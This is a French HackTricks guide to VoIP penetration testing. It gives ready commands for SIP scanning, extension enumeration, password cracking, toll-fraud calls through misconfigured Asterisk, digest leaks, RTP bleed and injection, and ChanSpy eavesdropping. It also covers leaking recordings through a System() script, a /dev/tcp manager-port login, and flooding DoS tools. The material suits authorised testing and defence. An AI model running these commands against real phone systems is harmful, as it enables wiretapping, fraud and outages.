hacktricks/network-services-pentesting/pentesting-voip
2024-04-07 03:54:34 +00:00
..
basic-voip-protocols Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 03:54:34 +00:00
README.md Translated ['network-services-pentesting/11211-memcache/README.md', 'net 2024-02-09 09:01:25 +00:00

Test d'intrusion VoIP

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base sur la VoIP

Pour commencer à apprendre comment fonctionne la VoIP, consultez :

{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}

Énumération VoIP

Numéros de téléphone

Une des premières étapes qu'une équipe rouge pourrait faire est de rechercher les numéros de téléphone disponibles pour contacter l'entreprise en utilisant des outils OSINT, des recherches Google ou en grattant les pages web.

Une fois que vous avez les numéros de téléphone, vous pouvez utiliser des services en ligne pour identifier l'opérateur :

Savoir si l'opérateur fournit des services VoIP vous permettrait d'identifier si l'entreprise utilise la VoIP... De plus, il est possible que l'entreprise n'ait pas souscrit à des services VoIP mais utilise des cartes PSTN pour connecter son propre PBX VoIP au réseau téléphonique traditionnel.

Des éléments tels que des réponses automatisées ou de la musique indiquent généralement que la VoIP est utilisée.

Google Dorks

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

Informations OSINT

Toute autre enumeration OSINT qui aide à identifier le logiciel VoIP utilisé sera utile pour une Équipe Rouge.

Énumération du réseau

  • nmap est capable de scanner les services UDP, mais en raison du nombre de services UDP scannés, il est très lent et peut ne pas être très précis avec ce type de services.
  • svmap de SIPVicious (sudo apt install sipvicious) : localisera les services SIP dans le réseau indiqué.
  • svmap est facile à bloquer car il utilise l'User-Agent friendly-scanner, mais vous pourriez modifier le code depuis /usr/share/sipvicious/sipvicious et le changer.
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • sipscan.py de sippts** :** Sipscan est un scanner très rapide pour les services SIP sur UDP, TCP ou TLS. Il utilise le multithreading et peut balayer de larges plages de réseaux. Il permet d'indiquer facilement une plage de ports, de balayer à la fois le TCP et l'UDP, d'utiliser une autre méthode (par défaut, il utilisera OPTIONS) et de spécifier un User-Agent différent (et plus encore).
./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200

  • metasploit:
auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

Enumeration de Réseau Supplémentaire

Le PBX pourrait également exposer d'autres services réseau tels que :

  • 69/UDP (TFTP) : Mises à jour du firmware
  • 80 (HTTP) / 443 (HTTPS) : Pour gérer le périphérique depuis le web
  • 389 (LDAP) : Alternative pour stocker les informations des utilisateurs
  • 3306 (MySQL) : Base de données MySQL
  • 5038 (Manager) : Permet d'utiliser Asterisk depuis d'autres plateformes
  • 5222 (XMPP) : Messages utilisant Jabber
  • 5432 (PostgreSQL) : Base de données PostgreSQL
  • Et d'autres...

Enumeration des Méthodes

Il est possible de trouver quelles méthodes sont disponibles à utiliser dans le PBX en utilisant sipenumerate.py de sippts

python3 sipenumerate.py -i 10.10.0.10 -r 5080

Énumération des extensions

Les extensions dans un système PBX (Private Branch Exchange) font référence aux identifiants internes uniques attribués à des lignes téléphoniques, des appareils ou des utilisateurs individuels au sein d'une organisation ou d'une entreprise. Les extensions permettent de router les appels au sein de l'organisation de manière efficace, sans avoir besoin de numéros de téléphone externes individuels pour chaque utilisateur ou appareil.

  • svwar de SIPVicious (sudo apt install sipvicious) : svwar est un scanner de lignes d'extension SIP PBX gratuit. En concept, il fonctionne de manière similaire aux wardialers traditionnels en devinant une plage d'extensions ou une liste donnée d'extensions.
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • sipextend.py de sippts: Sipexten identifie les extensions sur un serveur SIP. Sipexten peut vérifier de larges plages de réseau et de ports.
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
  • metasploit: Vous pouvez également énumérer les extensions/noms d'utilisateur avec metasploit :
auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX est un outil de recherche de noms d'utilisateur par force brute pour le protocole Inter Asterisk Exchange. enumIAX peut fonctionner selon deux modes distincts : Deviner les noms d'utilisateur séquentiellement ou Attaque par dictionnaire.
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

Attaques VoIP

Brute-Force de mot de passe

Ayant découvert le PBX et certains extensions/noms d'utilisateur, une équipe rouge pourrait tenter de s'authentifier via la méthode REGISTER sur une extension en utilisant un dictionnaire de mots de passe courants pour effectuer une attaque par force brute.

{% hint style="danger" %} Notez qu'un nom d'utilisateur peut être identique à l'extension, mais cette pratique peut varier en fonction du système PBX, de sa configuration et des préférences de l'organisation...

Si le nom d'utilisateur n'est pas le même que l'extension, vous devrez déterminer le nom d'utilisateur pour effectuer une attaque par force brute. {% endhint %}

  • svcrack de SIPVicious (sudo apt install sipvicious): SVCrack vous permet de cracker le mot de passe pour un nom d'utilisateur/extension spécifique sur un PBX.
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • sipcrack.py de sippts** :** SIP Digest Crack est un outil pour cracker les authentifications digest dans le protocole SIP.

{% code overflow="wrap" %}

python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt

{% endcode %}

Sniffing VoIP

Si vous trouvez un équipement VoIP dans un réseau Wifi ouvert, vous pourriez capturer toutes les informations. De plus, si vous êtes dans un réseau plus fermé (connecté via Ethernet ou Wifi protégé), vous pourriez effectuer des attaques MitM telles que ARPspoofing entre le PBX et la passerelle pour capturer les informations.

Parmi les informations réseau, vous pourriez trouver des identifiants web pour gérer l'équipement, des extensions d'utilisateur, des noms d'utilisateur, des adresses IP, même des mots de passe hachés et des paquets RTP que vous pourriez reproduire pour écouter la conversation, et plus encore.

Pour obtenir ces informations, vous pourriez utiliser des outils tels que Wireshark, tcpdump... mais un outil spécialement créé pour capturer des conversations VoIP est ucsniff.

{% hint style="danger" %} Notez que si TLS est utilisé dans la communication SIP, vous ne pourrez pas voir la communication SIP en clair.
Il en va de même si SRTP et ZRTP sont utilisés, les paquets RTP ne seront pas en clair. {% endhint %}

Identifiants SIP

Consultez cet exemple pour mieux comprendre une communication SIP REGISTER pour apprendre comment les identifiants sont envoyés.

  • sipdump & sipcrack, faisant partie de sipcrack (apt-get install sipcrack): Ces outils peuvent extraire des authentifications digest dans le protocole SIP à partir d'un pcap et les forcer avec une attaque par force brute.
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • siptshar.py, sipdump.py, sipcrack.py de sippts:
  • SipTshark extrait les données du protocole SIP à partir d'un fichier PCAP.
  • SipDump extrait les authentifications SIP Digest d'un fichier PCAP.
  • SIP Digest Crack est un outil pour cracker les authentifications digest dans le protocole SIP.
python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt

Codes DTMF

Non seulement les identifiants SIP peuvent être trouvés dans le trafic réseau, il est également possible de trouver des codes DTMF qui sont utilisés par exemple pour accéder à la messagerie vocale.
Il est possible d'envoyer ces codes dans des messages SIP INFO, en audio ou à l'intérieur de paquets RTP. Si les codes se trouvent dans les paquets RTP, vous pourriez découper cette partie de la conversation et utiliser l'outil multimo pour les extraire:

multimon -a DTMF -t wac pin.wav

Appels gratuits / Mauvaises configurations de connexions Asterisks

Dans Asterisk, il est possible d'autoriser une connexion à partir d'une adresse IP spécifique ou de n'importe quelle adresse IP:

host=10.10.10.10
host=dynamic

Si une adresse IP est spécifiée, l'hôte n'aura pas besoin d'envoyer des requêtes REGISTER de temps en temps (dans le paquet REGISTER est envoyé le temps de vie, généralement 30 minutes, ce qui signifie que dans un autre scénario, le téléphone devra s'enregistrer toutes les 30 minutes). Cependant, il devra avoir des ports ouverts permettant les connexions du serveur VoIP pour recevoir des appels.

Pour définir les utilisateurs, ils peuvent être définis comme suit :

  • type=user : L'utilisateur peut uniquement recevoir des appels en tant qu'utilisateur.
  • type=friend : Il est possible d'effectuer des appels en tant que pair et de les recevoir en tant qu'utilisateur (utilisé avec des extensions).
  • type=peer : Il est possible d'envoyer et de recevoir des appels en tant que pair (trunks SIP).

Il est également possible d'établir une confiance avec la variable non sécurisée :

  • insecure=port : Autorise les connexions de pair validées par IP.
  • insecure=invite : Ne nécessite pas d'authentification pour les messages INVITE.
  • insecure=port,invite : Les deux.

{% hint style="warning" %} Lorsque type=friend est utilisé, la valeur de la variable host ne sera pas utilisée, donc si un administrateur configure incorrectement un SIP-trunk en utilisant cette valeur, n'importe qui pourra s'y connecter.

Par exemple, cette configuration serait vulnérable :
host=10.10.10.10
insecure=port,invite
type=friend {% endhint %}

Appels gratuits / Mauvaises configurations de contexte Asterisk

Dans Asterisk, un contexte est un conteneur ou une section nommé(e) dans le plan de numérotation qui regroupe les extensions, actions et règles connexes. Le plan de numérotation est le composant central d'un système Asterisk, car il définit comment les appels entrants et sortants sont gérés et routés. Les contextes sont utilisés pour organiser le plan de numérotation, gérer le contrôle d'accès et fournir une séparation entre les différentes parties du système.

Chaque contexte est défini dans le fichier de configuration, généralement dans le fichier extensions.conf. Les contextes sont indiqués par des crochets, avec le nom du contexte inclus entre eux. Par exemple :

csharpCopy code[my_context]

À l'intérieur du contexte, vous définissez des extensions (modèles de numéros composés) et les associez à une série d'actions ou d'applications. Ces actions déterminent comment l'appel est traité. Par exemple :

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

Cet exemple montre un contexte simple appelé "mon_contexte" avec une extension "100". Lorsque quelqu'un compose le 100, l'appel sera répondu, un message de bienvenue sera lu, puis l'appel sera terminé.

Il s'agit d'un autre contexte qui permet d'appeler tout autre numéro:

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

Si l'administrateur définit le contexte par défaut comme suit :

[default]
include => my_context
include => external

{% hint style="warning" %} N'importe qui pourra utiliser le serveur pour appeler n'importe quel autre numéro (et l'administrateur du serveur paiera l'appel). {% endhint %}

{% hint style="danger" %} De plus, par défaut, le fichier sip.conf contient allowguest=true, donc n'importe quel attaquant sans authentification pourra appeler n'importe quel autre numéro. {% endhint %}

  • sipinvite.py de sippts: Sipinvite vérifie si un serveur PBX nous permet de passer des appels sans authentification. Si le serveur SIP a une configuration incorrecte, il nous permettra de passer des appels vers des numéros externes. Il peut également nous permettre de transférer l'appel vers un deuxième numéro externe.

Par exemple, si votre serveur Asterisk a une mauvaise configuration de contexte, vous pouvez accepter une demande INVITE sans autorisation. Dans ce cas, un attaquant peut passer des appels sans connaître d'utilisateur/mot de passe.

{% code overflow="wrap" %}

# Trying to make a call to the number 555555555 (without auth) with source number 200.
python3 sipinvite.py -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444

{% endcode %}

Appels gratuits / IVRS mal configurés

IVRS signifie Système de Réponse Vocale Interactive, une technologie téléphonique qui permet aux utilisateurs d'interagir avec un système informatisé via la voix ou des touches. L'IVRS est utilisé pour construire des systèmes de gestion d'appels automatisés qui offrent une gamme de fonctionnalités, telles que la fourniture d'informations, la redirection des appels et la capture des entrées des utilisateurs.

L'IVRS dans les systèmes VoIP se compose généralement de :

  1. Messages vocaux: Messages audio préenregistrés qui guident les utilisateurs à travers les options de menu IVR et les instructions.
  2. Signalisation DTMF (Dual-Tone Multi-Frequency) : Entrées de touches générées en appuyant sur des touches sur le téléphone, qui sont utilisées pour naviguer à travers les menus IVR et fournir des entrées.
  3. Routage des appels: Diriger les appels vers la destination appropriée, tels que des départements spécifiques, des agents ou des extensions en fonction de l'entrée de l'utilisateur.
  4. Capture des entrées des utilisateurs: Collecte d'informations auprès des appelants, telles que des numéros de compte, des identifiants de cas, ou d'autres données pertinentes.
  5. Intégration avec des systèmes externes: Connecter le système IVR à des bases de données ou d'autres systèmes logiciels pour accéder ou mettre à jour des informations, effectuer des actions ou déclencher des événements.

Dans un système VoIP Asterisk, vous pouvez créer un IVR en utilisant le plan de numérotation (fichier extensions.conf) et diverses applications telles que Background(), Playback(), Read(), et plus encore. Ces applications vous aident à lire des messages vocaux, capturer les entrées des utilisateurs et contrôler le flux d'appels.

Exemple de configuration vulnérable

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

Le précédent est un exemple où l'utilisateur est invité à appuyer sur 1 pour appeler un service, 2 pour appeler un autre, ou saisir l'extension complète s'il la connaît.
La vulnérabilité réside dans le fait que la longueur de l'extension indiquée n'est pas vérifiée, donc un utilisateur pourrait saisir un numéro complet pendant le délai de 5 secondes et il sera appelé.

Injection d'extension

En utilisant une extension telle que :

exten => _X.,1,Dial(SIP/${EXTEN})

Lorsque ${EXTEN} est l'extension qui sera appelée, lorsque l'ext 101 est introduit voici ce qui se passerait :

exten => 101,1,Dial(SIP/101)

Cependant, si ${EXTEN} permet d'introduire plus que des chiffres (comme dans les anciennes versions d'Asterisk), un attaquant pourrait introduire 101&SIP123123123 pour appeler le numéro de téléphone 123123123. Et voici ce que cela donnerait :

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

Par conséquent, un appel à l'extension 101 et 123123123 sera envoyé et seul le premier à recevoir l'appel sera établi... mais si un attaquant utilise une extension qui contourne toute correspondance en cours mais qui n'existe pas, il pourrait injecter un appel uniquement vers le numéro désiré.

Fuite de Digest SIP

La fuite de Digest SIP est une vulnérabilité qui affecte un grand nombre de téléphones SIP, y compris les téléphones IP matériels et logiciels ainsi que les adaptateurs téléphoniques (VoIP vers analogique). La vulnérabilité permet la fuite de la réponse d'authentification Digest, qui est calculée à partir du mot de passe. Une attaque de mot de passe hors ligne est alors possible et peut récupérer la plupart des mots de passe basés sur la réponse au défi.

**Scénario de vulnérabilité à partir d'ici**:

  1. Un téléphone IP (victime) écoute sur le port 5060, acceptant les appels téléphoniques
  2. L'attaquant envoie un INVITE au téléphone IP
  3. Le téléphone de la victime commence à sonner et quelqu'un décroche et raccroche (car personne ne répond au téléphone à l'autre bout)
  4. Lorsque le téléphone est raccroché, le téléphone de la victime envoie un BYE à l'attaquant
  5. L'attaquant émet une réponse 407 qui demande une authentification et émet un défi d'authentification
  6. Le téléphone de la victime fournit une réponse au défi d'authentification dans un second BYE
  7. L'attaquant peut alors lancer une attaque par force brute sur la réponse au défi sur sa machine locale (ou réseau distribué, etc.) et deviner le mot de passe
  • sipdigestleak.py de sippts: SipDigestLeak exploite cette vulnérabilité.
python3 sipdigestleak.py -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Click2Call

Click2Call permet à un utilisateur web (qui par exemple pourrait être intéressé par un produit) d'introduire son numéro de téléphone pour être rappelé. Ensuite, un appel commercial sera effectué, et lorsque l'utilisateur décroche le téléphone, il sera appelé et connecté à l'agent.

Un profil Asterisk courant pour cela est :

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • Le profil précédent permet à N'IMPORTE QUELLE adresse IP de se connecter (si le mot de passe est connu).
  • Pour organiser un appel, comme spécifié précédemment, aucune permission de lecture n'est nécessaire et seulement originate en écriture est requis.

Avec ces autorisations, n'importe quelle adresse IP connaissant le mot de passe pourrait se connecter et extraire trop d'informations, comme :

{% code overflow="wrap" %}

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

{% endcode %}

Plus d'informations ou d'actions pourraient être demandées.

Écoute clandestine

Dans Asterisk, il est possible d'utiliser la commande ChanSpy en indiquant les extensions à surveiller (ou toutes) pour écouter les conversations en cours. Cette commande doit être attribuée à une extension.

Par exemple, exten => 333,1,ChanSpy('all',qb) indique que si vous appelez l'extension 333, elle va surveiller toutes les extensions, commencer à écouter dès qu'une nouvelle conversation démarre (b) en mode silencieux (q) car nous ne voulons pas interagir. Vous pouvez passer d'une conversation à une autre en appuyant sur *, ou en marquant le numéro de l'extension.

Il est également possible d'utiliser ExtenSpy pour surveiller une seule extension.

Au lieu d'écouter les conversations, il est possible de les enregistrer dans des fichiers en utilisant une extension telle que :

{% code overflow="wrap" %}

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

{% endcode %}

Les appels seront enregistrés dans /tmp.

Vous pourriez même faire en sorte qu'Asterisk exécute un script qui divulguera l'appel lorsqu'il est fermé.

exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed

RTCPBleed est un problème de sécurité majeur affectant les serveurs VoIP basés sur Asterisk (publié en 2017). La vulnérabilité permet au trafic RTP (Real Time Protocol), qui transporte les conversations VoIP, d'être intercepté et redirigé par n'importe qui sur Internet. Cela se produit car le trafic RTP contourne l'authentification lorsqu'il traverse les pare-feu NAT (Network Address Translation).

Les proxies RTP tentent de résoudre les limitations du NAT affectant les systèmes RTC en faisant transiter les flux RTP entre deux parties ou plus. Lorsque le NAT est en place, le logiciel de proxy RTP ne peut souvent pas se fier aux informations d'IP et de port RTP récupérées via la signalisation (par exemple SIP). Par conséquent, un certain nombre de proxies RTP ont mis en œuvre un mécanisme où ce couple IP et port est appris automatiquement. Cela se fait souvent en inspectant le trafic RTP entrant et en marquant l'IP et le port source pour tout trafic RTP entrant comme celui auquel il faut répondre. Ce mécanisme, qui peut être appelé "mode d'apprentissage", n'utilise aucune forme d'authentification. Par conséquent, les attaquants peuvent envoyer du trafic RTP au proxy RTP et recevoir le trafic RTP relayé destiné à l'appelant ou au destinataire d'un flux RTP en cours. Nous appelons cette vulnérabilité RTP Bleed car elle permet aux attaquants de recevoir des flux média RTP destinés à être envoyés à des utilisateurs légitimes.

Un autre comportement intéressant des proxies RTP et des piles RTP est que parfois, même s'ils ne sont pas vulnérables au RTP Bleed, ils vont accepter, transmettre et/ou traiter des paquets RTP de n'importe quelle source. Par conséquent, les attaquants peuvent envoyer des paquets RTP qui peuvent leur permettre d'injecter leurs médias au lieu de ceux légitimes. Nous appelons cette attaque injection RTP car elle permet l'injection de paquets RTP illégitimes dans des flux RTP existants. Cette vulnérabilité peut être trouvée à la fois dans les proxies RTP et les points d'extrémité.

Asterisk et FreePBX ont traditionnellement utilisé le paramètre NAT=yes, qui permet au trafic RTP de contourner l'authentification, entraînant potentiellement l'absence de son ou un son unidirectionnel lors des appels.

Pour plus d'informations, consultez https://www.rtpbleed.com/

  • rtpbleed.py de sippts: Il détecte la vulnérabilité RTP Bleed en envoyant des flux RTP.
python3 rtpbleed.py -i 10.10.0.10
  • rtcpbleed.py de sippts** :** Il détecte la vulnérabilité RTP Bleed en envoyant des flux RTP.
python3 rtcpbleed.py -i 10.10.0.10
  • rtpbleedflood.py de sippts** :** Exploitez la vulnérabilité RTP Bleed en envoyant des flux RTP
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
  • rtpbleedinject.py de sippts** :** Exploiter la vulnérabilité RTP Bleed en envoyant des flux RTP (à partir d'un fichier audio)
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav

RCE

Dans Asterisk, si vous parvenez d'une manière ou d'une autre à ajouter des règles d'extension et à les recharger (par exemple en compromettant un serveur de gestion web vulnérable), il est possible d'obtenir une RCE en utilisant la commande System.

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

Il existe une commande appelée Shell qui pourrait être utilisée au lieu de System pour exécuter des commandes système si nécessaire.

{% hint style="warning" %} Si le serveur interdit l'utilisation de certains caractères dans la commande System (comme dans Elastix), vérifiez si le serveur web permet de créer des fichiers d'une manière ou d'une autre dans le système (comme dans Elastix ou trixbox), et utilisez-le pour créer un script de porte dérobée que vous pourrez ensuite utiliser avec la commande System pour exécuter ce script. {% endhint %}

Fichiers locaux intéressants et autorisations

  • sip.conf -> Contient le mot de passe des utilisateurs SIP.
  • Si le serveur Asterisk fonctionne en tant que root, vous pourriez compromettre le root.
  • L'utilisateur root de mysql pourrait ne pas avoir de mot de passe.
  • Cela pourrait être utilisé pour créer un nouvel utilisateur mysql comme porte dérobée.
  • FreePBX
  • amportal.conf -> Contient le mot de passe de l'administrateur du panneau web (FreePBX).
  • FreePBX.conf -> Contient le mot de passe de l'utilisateur FreePBXuser utilisé pour accéder à la base de données.
  • Cela pourrait être utilisé pour créer un nouvel utilisateur mysql comme porte dérobée.
  • Elastix
  • Elastix.conf -> Contient plusieurs mots de passe en clair comme le mot de passe root mysql, le mot de passe IMAPd, le mot de passe de l'administrateur web.
  • Plusieurs dossiers appartiendront à l'utilisateur Asterisk compromis (s'il ne fonctionne pas en tant que root). Cet utilisateur peut lire les fichiers précédents et contrôle également la configuration, il pourrait donc faire en sorte qu'Asterisk charge d'autres binaires avec des portes dérobées lors de l'exécution.

Injection RTP

Il est possible d'insérer un fichier .wav dans des conversations en utilisant des outils tels que rtpinsertsound (sudo apt install rtpinsertsound) et rtpmixsound (sudo apt install rtpmixsound).

Ou vous pourriez utiliser les scripts disponibles sur http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ pour analyser les conversations (rtpscan.pl), envoyer un fichier .wav à une conversation (rtpsend.pl) et insérer du bruit dans une conversation (rtpflood.pl).

DoS

Il existe plusieurs façons de tenter de réaliser une attaque par déni de service (DoS) sur des serveurs VoIP.

  • sipflood.py de sippts**: **SipFlood envoie des messages illimités à la cible.
  • python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v
  • IAXFlooder: DoS sur le protocole IAX utilisé par Asterisk.
  • inviteflood: Un outil pour effectuer une inondation de messages SIP/SDP INVITE via UDP/IP.
  • rtpflood: Envoie plusieurs paquets RTP bien formés. Il est nécessaire de connaître les ports RTP utilisés (sniffer d'abord).
  • SIPp: Permet d'analyser et de générer du trafic SIP, donc il peut également être utilisé pour une attaque DoS.
  • SIPsak: Couteau suisse SIP. Peut également être utilisé pour des attaques SIP.
  • Fuzzers : protos-sip, voiper.
  • sipsend.py de sippts: SIPSend nous permet d'envoyer un message SIP personnalisé et d'analyser la réponse.
  • wssend.py de sippts: WsSend nous permet d'envoyer un message SIP personnalisé via WebSockets et d'analyser la réponse.

Vulnérabilités du système d'exploitation

La manière la plus simple d'installer un logiciel tel qu'Asterisk est de télécharger une distribution OS qui l'a déjà installé, comme : FreePBX, Elastix, Trixbox... Le problème avec ceux-ci est qu'une fois qu'ils fonctionnent, les administrateurs système pourraient ne plus les mettre à jour et des vulnérabilités pourraient être découvertes avec le temps.

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :